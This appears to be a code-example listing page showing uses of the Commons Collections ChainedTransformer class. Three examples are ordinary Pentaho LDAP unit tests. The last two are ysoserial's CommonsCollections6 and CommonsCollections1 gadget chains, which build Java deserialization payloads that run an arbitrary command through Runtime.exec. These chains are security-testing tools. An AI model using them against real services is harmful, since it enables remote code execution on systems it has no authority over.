Examples with ChainedTransformer org.apache.commons.collections.functors.ChainedTransformer used on opensource projects

Example 1 with ChainedTransformer

use of org.apache.commons.collections.functors.ChainedTransformer in project pentaho-platform by pentaho.

the class DefaultLdapUserRoleListServiceTest method testGetAllAuthorities1.

/**
 * Search for all roles (aka authorities) starting at <code>ou=roles</code>, looking for objects with
 * <code>objectClass=organizationalRole</code>, and returning the <code>cn</code> attribute.
 */
@Test
public void testGetAllAuthorities1() {
    SearchControls con1 = new SearchControls();
    // $NON-NLS-1$
    con1.setReturningAttributes(new String[] { "cn" });
    LdapSearchParamsFactory paramsFactory = // $NON-NLS-1$//$NON-NLS-2$
    new LdapSearchParamsFactoryImpl("ou=roles", "(objectClass=organizationalRole)", con1);
    // $NON-NLS-1$
    Transformer one = new SearchResultToAttrValueList("cn");
    Transformer two = new StringToGrantedAuthority();
    Transformer[] transformers = { one, two };
    Transformer transformer = new ChainedTransformer(transformers);
    LdapSearch rolesSearch = new GenericLdapSearch(getContextSource(), paramsFactory, transformer);
    DefaultLdapUserRoleListService userRoleListService = getDefaultLdapUserRoleListService();
    userRoleListService.setAllAuthoritiesSearch(rolesSearch);
    List res = userRoleListService.getAllRoles();
    // $NON-NLS-1$
    assertTrue(res.contains("ROLE_CTO"));
    // $NON-NLS-1$
    assertTrue(res.contains("ROLE_CEO"));
    if (logger.isDebugEnabled()) {
        // $NON-NLS-1$
        logger.debug("results of getAllAuthorities1(): " + res);
    }
}

Example 2 with ChainedTransformer

use of org.apache.commons.collections.functors.ChainedTransformer in project pentaho-platform by pentaho.

the class DefaultLdapUserRoleListServiceTest method testGetAllAuthorities1Sorted.

/**
 * Same as above except sorted.
 */
@Test
public void testGetAllAuthorities1Sorted() {
    SearchControls con1 = new SearchControls();
    // $NON-NLS-1$
    con1.setReturningAttributes(new String[] { "cn" });
    LdapSearchParamsFactory paramsFactory = // $NON-NLS-1$//$NON-NLS-2$
    new LdapSearchParamsFactoryImpl("ou=roles", "(objectClass=organizationalRole)", con1);
    // $NON-NLS-1$
    Transformer one = new SearchResultToAttrValueList("cn");
    Transformer two = new StringToGrantedAuthority();
    Transformer[] transformers = { one, two };
    Transformer transformer = new ChainedTransformer(transformers);
    LdapSearch rolesSearch = new GenericLdapSearch(getContextSource(), paramsFactory, transformer);
    DefaultLdapUserRoleListService userRoleListService = getDefaultLdapUserRoleListService();
    userRoleListService.setAllAuthoritiesSearch(rolesSearch);
    userRoleListService.setRoleComparator(new DefaultRoleComparator());
    List res = userRoleListService.getAllRoles();
    // $NON-NLS-1$
    assertTrue(res.contains("ROLE_CTO"));
    // $NON-NLS-1$
    assertTrue(res.contains("ROLE_CEO"));
    assertTrue(res.indexOf("ROLE_ADMINISTRATOR") < res.indexOf("ROLE_DEV"));
    if (logger.isDebugEnabled()) {
        // $NON-NLS-1$
        logger.debug("results of getAllAuthorities1Sorted(): " + res);
    }
}

Example 3 with ChainedTransformer

use of org.apache.commons.collections.functors.ChainedTransformer in project pentaho-platform by pentaho.

the class DefaultLdapUserRoleListServiceTest method testGetAllAuthorities1ForTenant.

@Test
public void testGetAllAuthorities1ForTenant() {
    ITenant defaultTenant = new Tenant("/pentaho/tenant0", true);
    login("suzy", defaultTenant);
    SearchControls con1 = new SearchControls();
    // $NON-NLS-1$
    con1.setReturningAttributes(new String[] { "cn" });
    LdapSearchParamsFactory paramsFactory = // $NON-NLS-1$//$NON-NLS-2$
    new LdapSearchParamsFactoryImpl("ou=roles", "(objectClass=organizationalRole)", con1);
    // $NON-NLS-1$
    Transformer one = new SearchResultToAttrValueList("cn");
    Transformer two = new StringToGrantedAuthority();
    Transformer[] transformers = { one, two };
    Transformer transformer = new ChainedTransformer(transformers);
    LdapSearch rolesSearch = new GenericLdapSearch(getContextSource(), paramsFactory, transformer);
    DefaultLdapUserRoleListService userRoleListService = getDefaultLdapUserRoleListService();
    userRoleListService.setAllAuthoritiesSearch(rolesSearch);
    List res = userRoleListService.getAllRoles(defaultTenant);
    // $NON-NLS-1$
    assertTrue(res.contains("ROLE_CTO"));
    // $NON-NLS-1$
    assertTrue(res.contains("ROLE_CEO"));
    if (logger.isDebugEnabled()) {
        // $NON-NLS-1$
        logger.debug("results of getAllAuthorities1(): " + res);
    }
    try {
        userRoleListService.getAllRoles(new Tenant("/pentaho", true));
    } catch (UnsupportedOperationException uoe) {
        assertNotNull(uoe);
    }
}

Example 4 with ChainedTransformer

use of org.apache.commons.collections.functors.ChainedTransformer in project ysoserial by frohoff.

the class CommonsCollections6 method getObject.

public Serializable getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    Transformer transformerChain = new ChainedTransformer(transformers);
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;
    try {
        f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }
    f.setAccessible(true);
    HashMap innimpl = (HashMap) f.get(map);
    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }
    f2.setAccessible(true);
    Object[] array = (Object[]) f2.get(innimpl);
    Object node = array[0];
    if (node == null) {
        node = array[1];
    }
    Field keyField = null;
    try {
        keyField = node.getClass().getDeclaredField("key");
    } catch (Exception e) {
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }
    keyField.setAccessible(true);
    keyField.set(node, entry);
    return map;
}

Example 5 with ChainedTransformer

use of org.apache.commons.collections.functors.ChainedTransformer in project ysoserial by frohoff.

the class CommonsCollections1 method getObject.

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return handler;
}